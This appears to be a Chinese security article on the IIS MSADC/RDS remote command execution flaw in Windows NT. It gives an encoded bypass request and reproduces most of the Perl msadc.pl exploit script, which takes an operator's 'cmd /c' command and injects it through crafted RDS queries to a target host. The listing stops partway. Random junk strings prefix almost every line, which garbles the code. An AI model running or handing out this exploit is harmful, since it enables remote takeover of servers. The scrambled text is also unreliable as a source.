IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Hq=5/N v53qpqc 涉及程序:
nHiE$Y Microsoft NT server
$]O;D~ )w\E^ 描述:
-;rr! cQ? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\H
<k }s i{ 详细:
mc37Y. 如果你没有时间读详细内容的话,就删除:
?}<4LK] c:\Program Files\Common Files\System\Msadc\msadcs.dll
q=Cc2|Ve 有关的安全问题就没有了。
mFoE2?Y 3!]S8Y*LQP 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
L O)&|9xw 3@xn<eu 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Y [8~M8QX 关于利用ODBC远程漏洞的描述,请参看:
p) #7K cO}`PD$i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u17e Buazm3q8H 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
MBlhlMyI http://www.microsoft.com/security/bulletins/MS99-025faq.asp E=PmOw7b w, uyN 这里不再论述。
B5FRe'UC H\W/;Nn 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Qv~KGd9 ^Yu<fFn /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ih_2")d 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
++b1VBP ;fg8,(SM^ !{hC99q6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
rK^Sn7 U II=(>G9v #!perl
h?UUd\RU) #
4rpx # MSADC/RDS 'usage' (aka exploit) script
d5aG6/ #
qyA%_;ReMY # by rain.forest.puppy
o u%Xnk~ #
{[Bo"a>% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h%2;B;p] # beta test and find errors!
bU3e*Er |ATz<"q> use Socket; use Getopt::Std;
AHg:`Wjv- getopts("e:vd:h:XR", \%args);
="yN4+0-p ,\t:R1. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
A:{PPjs%LA }F v:g! if (!defined $args{h} && !defined $args{R}) {
dS+/G9X^ print qq~
ED0Vlw+1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
k`#OXLR -h <host> = host you want to scan (ip or domain)
B;k3YOg -d <seconds> = delay between calls, default 1 second
960[.99 -X = dump Index Server path table, if available
e|6kgj3/ -v = verbose
|:yWDZg[ -e = external dictionary file for step 5
+`y{r^xD A"yiXc-N~\ Or a -R will resume a command session
]VuB2L[D H]^hEQ3DT ~; exit;}
0[/GEY@ G&eRhif $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
olHT* mr if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8XS_I{}? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)qyJwN
.D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?W6qwm,?L $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[:vH_(| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5X4 #T&. V*}xlxSL if (!defined $args{R}){ $ret = &has_msadc;
[2WJ];FJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RB,`I#z1f +-s$Htx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E:_m6
m . "cmd /c ";
{c(@u6l28 $in=<STDIN>; chomp $in;
D@O#P^? $command="cmd /c " . $in ;
}jfOs(Q] 2rzOh},RS if (defined $args{R}) {&load; exit;}
x6h';W_ 8 *h <_gn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E}YJGFB7" &try_btcustmr;
_S$SL%;\ Fj_6jsDb print "\nStep 2: Trying to make our own DSN...";
FZk=-.Hk &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%oee x1`= [Yi;k,F: print "\nStep 3: Trying known DSNs...";
Lm!/iseGv &known_dsn;
6h?v/\ ryC7O'j_P print "\nStep 4: Trying known .mdbs...";
Ba8 s &known_mdb;
5 R* ?o>JX.Nl&7 if (defined $args{e}){
\#yKCA'; print "\nStep 5: Trying dictionary of DSN names...";
goMv8d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hOOkf mOM .kl.awT print "Sorry Charley...maybe next time?\n";
g,k} nkIT exit;
Ifx
EM w%3*T#tp ##############################################################################
d~|/LR5 6r]l8*34; sub sendraw { # ripped and modded from whisker
]ChGi[B~9 sleep($delay); # it's a DoS on the server! At least on mine...
,E._A(Z my ($pstr)=@_;
,f[`C-\Q% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@L-] %C die("Socket problems\n");
mw!EDJ;' if(connect(S,pack "SnA4x8",2,80,$target)){
r@30y/C select(S); $|=1;
KAFx^JLo print $pstr; my @in=<S>;
rGqT[~{t select(STDOUT); close(S);
_rN1(=J return @in;
^*$lCUv8p } else { die("Can't connect...\n"); }}
=[
+)T[ x%`.L6rj ##############################################################################
W3gBLotdg e,X{.NS sub make_header { # make the HTTP request
|eu:qn8 my $msadc=<<EOT
K^yZfpa8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
te*|>NRS User-Agent: ACTIVEDATA
`h(*D Host: $ip
G@(ukt`0} Content-Length: $clen
Kqn{q4L Connection: Keep-Alive
8Buus |PaVb4j ADCClientVersion:01.06
aSEzh78 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
I;5:jT ` a*N<gId --!ADM!ROX!YOUR!WORLD!
hLo>jE
Content-Type: application/x-varg
Ir4M5OR\ Content-Length: $reqlen
kKHGcm^r [$]Kp9YD EOT
4f-I,)qCBk ; $msadc=~s/\n/\r\n/g;
92";?Xk return $msadc;}
abczW[\ %gbvX^E? ##############################################################################
Cu,#w3JR 7.!`c-8
u sub make_req { # make the RDS request
x#hGJT my ($switch, $p1, $p2)=@_;
?E|be
) my $req=""; my $t1, $t2, $query, $dsn;
xU(yc}vw, ?,AWXiif if ($switch==1){ # this is the btcustmr.mdb query
(\A~SKEX $query="Select * from Customers where City=" . make_shell();
IPxK$nI^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UPr8Q^wm $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
n u!tk$Q ,>vI|p,/G* elsif ($switch==2){ # this is general make table query
47
|&(,{ $query="create table AZZ (B int, C varchar(10))";
y7LT;`A $dsn="$p1";}
sR*.i?lN .G/2CVMj elsif ($switch==3){ # this is general exploit table query
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